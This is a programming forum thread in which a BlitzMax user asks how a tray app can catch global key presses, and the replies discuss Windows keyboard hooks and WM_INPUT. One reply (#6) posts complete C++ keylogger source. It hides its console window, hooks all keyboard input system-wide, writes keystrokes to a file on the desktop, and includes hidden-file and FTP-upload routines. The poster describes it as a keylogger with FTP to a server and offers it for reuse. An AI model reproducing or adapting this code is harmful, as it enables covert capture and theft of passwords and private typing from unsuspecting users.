Ooops
January 22, 2021, 11:35:27 AM

Author Topic: Getting keyhit from windows system  (Read 241 times)

Offline Hardcoal

  • Hero Member
  • *****
  • Posts: 535
  • nothing is personal
Getting keyhit from windows system
« on: November 28, 2020, 11:42:31 PM »
hi.. im making a TrayIcon app.. and I want that when i press a keyboard key.. when the app.. is folded to the TrayIcon, that it will create an event (be Read)


Im using MaxGui..

My Target is.. that when i press a key.. Lets Say.. Key_space.. that it will put my computer into Standby mode..

I can only make it work when the maxgui window is open.. but i want it to happen when its folded to TrayIcon State.. only.. and the window Gadget is hidden..

Thanks..
Lets make the world a better place

Offline Derron

  • Hero Member
  • *****
  • Posts: 3333
Re: Getting keyhit from windows system
« Reply #1 on: November 29, 2020, 07:59:35 AM »
So you want to read keyboard input while your app is not focused?

So you want to do stuff similar to an app spying out your secret key when your banking app is focused?

:-)


LowLevelKeyboardProc callback function
leads to
https://docs.microsoft.com/de-de/windows/win32/api/winuser/nf-winuser-setwindowshookexa


So it seems you need to register a callback, hook into the keyboard processing stuff so it redirects events to your special callback.


bye
Ron

Offline Hardcoal

  • Hero Member
  • *****
  • Posts: 535
  • nothing is personal
Re: Getting keyhit from windows system
« Reply #2 on: November 29, 2020, 11:23:51 AM »
hi.. derron.. can you show me a simple example of how to register a new LowLevelKeyboardProc?
Lets make the world a better place

Offline Derron

  • Hero Member
  • *****
  • Posts: 3333
Re: Getting keyhit from windows system
« Reply #3 on: November 29, 2020, 02:23:02 PM »
searching the modules for "setwindowshook" ...

two hits found.

pub.mod/win32.mod/user32.bmx
pub.mod/win32.mod/win32.bmx


and win32.bmx has this:

Code: BlitzMax
  1. Rem
  2. bbdoc: Locks the left/right Windows keys, preventing them from opening the Windows menu.
  3. End Rem
  4. Function EnableWindowsKeyLock( enable:Int, lw:Int = True, rw:Int = True )
  5.         lwin = lw
  6.         rwin = rw
  7.         If enable Then
  8.                 wkhook = SetWindowsHookEx( 13, KeyboardProc, GetModuleHandleA( Null ), 0 )
  9.         Else
  10.                 UnhookWindowsHookEx( wkhook )
  11.         End If
  12. End Function
  13.  
  14.  
  15. Function KeyboardProc:Byte Ptr(code:Int, wp:WParam, lp:LParam) "win32"
  16.         If code <= 0 Then
  17.                 CallNextHookEx( wkhook, code, wp, lp )
  18.         End If
  19.        
  20.         Local key:Int = Byte Ptr(lp)[0]
  21.        
  22.         If wp = WM_KEYDOWN Or wp = WM_KEYUP Then
  23.                 If (lwin And key = 91) Or (rwin And key = 92) Then
  24.                         Return 1
  25.                 End If
  26.         End If
  27.        
  28.         Return CallNextHookEx(wkhook, code, wp, lp)
  29. End Function
  30.  


I am sure you can adjust it to your needs.


bye
Ron

Offline col

  • Sr. Member
  • ****
  • Posts: 474
Re: Getting keyhit from windows system
« Reply #4 on: November 29, 2020, 04:17:15 PM »
I doubt that setting the windows hook chain will work.
It, and many other similar 'methods' of getting input that way, are tied to the process's calling thread(s) only.

If I understand correctly, Hardcoal wants the keyboard input when the application is not 'entitled' to it?

However, you could work with the WM_INPUT message.

I did exactly this for an application at work. It listens for feedback from a usb device while the main application window is hidden - in fact WM_INPUT was/is being prcocessed by the application while the user types into a document of another application altogther. It's written in c++ so was easier to deal with the 'window procedure (WndProc)' than MaxGui. The MaxGui module already has its tricks up its sleeve and you may find that you have to alter the MaxGUI module itself because it may gobble up events that you really want sent through to your main application.
To be is to be perceived.

https://github.com/davecamp

Offline Hardcoal

  • Hero Member
  • *****
  • Posts: 535
  • nothing is personal
Re: Getting keyhit from windows system
« Reply #5 on: November 29, 2020, 05:52:51 PM »
Awesome thanks.. ill try and report
Lets make the world a better place

Offline Dabz

  • Sr. Member
  • ****
  • Posts: 354
  • Is it cos I is ginger?
    • dabzy.co.uk
Re: Getting keyhit from windows system
« Reply #6 on: November 30, 2020, 04:17:25 AM »
Keylogger type affair, with bonus FTP to a server:-

Code: [Select]
#pragma comment (lib,"wininet.lib")
#include <windows.h>
#include <wininet.h> //for uploadFile function
#include <shlobj.h>
#include <iostream>
using namespace std;

char * extractFilename(char * path) {
char * ret = path;
bool isFullPath = false;
for (int i = 0; i < strlen(path); i++) {
if (ret[i] == '\\') {
isFullPath = true;
}
}
if (isFullPath) {
ret = (char *)((DWORD)path + lstrlen(path) - 1);
while (*ret != '\\')
ret--;
ret++;
}
return ret;
}

FILE * f;
HHOOK hKeyboardHook;

/*Change file attributes to hidden*/
void hide_file(char * file)
{
if (GetFileAttributes(file) != 0x22)
SetFileAttributes(file, 0x22);
}

/*Since we are working with files placed on desktop we need the Desktop directory path*/
bool getDesktopPath(char * ret)
{
char desktop[260];
if (SUCCEEDED(SHGetFolderPath(NULL,
CSIDL_DESKTOPDIRECTORY | CSIDL_FLAG_CREATE,
NULL,
SHGFP_TYPE_CURRENT,
desktop)))
{
strcpy(ret, desktop);
return true;
}
else
{
ret = NULL;
return false;
}
}

char *dupcat(const char *s1, ...) {
int len;
char *p, *q, *sn;
va_list ap;

len = strlen(s1);
va_start(ap, s1);
while (1) {
sn = va_arg(ap, char *);
if (!sn)
break;
len += strlen(sn);
}
va_end(ap);

p = new char[len + 1];
strcpy(p, s1);
q = p + strlen(p);

va_start(ap, s1);
while (1) {
sn = va_arg(ap, char *);
if (!sn)
break;
strcpy(q, sn);
q += strlen(q);
}
va_end(ap);

return p;
}

  /*Upload file to server*/
BOOL uploadFile(char *filename, char *destination_name, char *address, char *username, char *password)
{
BOOL t = false;
HINTERNET hint, hftp;
hint = InternetOpen("FTP", INTERNET_OPEN_TYPE_PRECONFIG, 0, 0, INTERNET_FLAG_ASYNC);
hftp = InternetConnect(hint, address, INTERNET_DEFAULT_FTP_PORT, username, password, INTERNET_SERVICE_FTP, 0, 0);
t = FtpPutFile(hftp, filename, destination_name, FTP_TRANSFER_TYPE_BINARY, 0);
InternetCloseHandle(hftp);
InternetCloseHandle(hint);
return t;
}

static int keysPressed = 0;

LRESULT WINAPI Keylogger(int nCode, WPARAM wParam, LPARAM lParam)
{
char currentDirectory[260];
char * workFullPath;


if ((nCode == HC_ACTION) && ((wParam == WM_SYSKEYDOWN) || (wParam == WM_KEYDOWN)))
{
bool truth = getDesktopPath(currentDirectory);
if (truth)
{
workFullPath = dupcat(currentDirectory, "\\work.txt", NULL);
f = fopen(workFullPath, "a+"); //Open the file
}
KBDLLHOOKSTRUCT hooked_key = *((KBDLLHOOKSTRUCT*)lParam);
DWORD dwMsg = 1;
dwMsg += hooked_key.scanCode << 16;
dwMsg += hooked_key.flags << 24;
char lpszKeyName[1024] = { 0 };
lpszKeyName[0] = '[';

int i = GetKeyNameText(dwMsg, (lpszKeyName + 1), 0xFF) + 1;
int key = hooked_key.vkCode;
lpszKeyName[i] = ']';

if (key >= 'A' && key <= 'Z')
{
if (GetAsyncKeyState(VK_SHIFT) >= 0)
key += 0x20;
if (f != NULL)
fprintf(f, "%c", key);
}

else
{
if (f != NULL)
fprintf(f, "%s", lpszKeyName);
}
keysPressed++;
if (keysPressed == 150) //Enough data
{
keysPressed = 0;
}

fclose(f);
}
return CallNextHookEx(hKeyboardHook, nCode, wParam, lParam);
}

DWORD WINAPI JACKAL(LPVOID lpParm)
{
HINSTANCE hins;
hins = GetModuleHandle(NULL);
hKeyboardHook = SetWindowsHookEx(WH_KEYBOARD_LL, (HOOKPROC)Keylogger, hins, 0);

MSG message;
while (GetMessage(&message, NULL, 0, 0))
{
TranslateMessage(&message);
DispatchMessage(&message);
}

UnhookWindowsHookEx(hKeyboardHook);
return 0;
}

void Stealth()
{
HWND Stealth;
AllocConsole();
Stealth = FindWindowA("ConsoleWindowClass", NULL);
ShowWindow(Stealth, 0);
}

void main() {
Stealth();
JACKAL(NULL);
}

Bit naughty, but, does what it says on the tin and an example on how to hook key events from the system, if your using Blitzmax, you may be able to shoehorn this in somewhere, going off memory, I think there are slight issues when trying to implement this in, say, a DLL, cannot remember now if I'm honest.

Dabz
Intel Core i5 6400 2.7GHz, NVIDIA GeForce GTX 1070 (8GB), 16Gig DDR4 RAM, 256GB SSD, 1TB HDD, Windows 10 64bit

 

SimplePortal 2.3.6 © 2008-2014, SimplePortal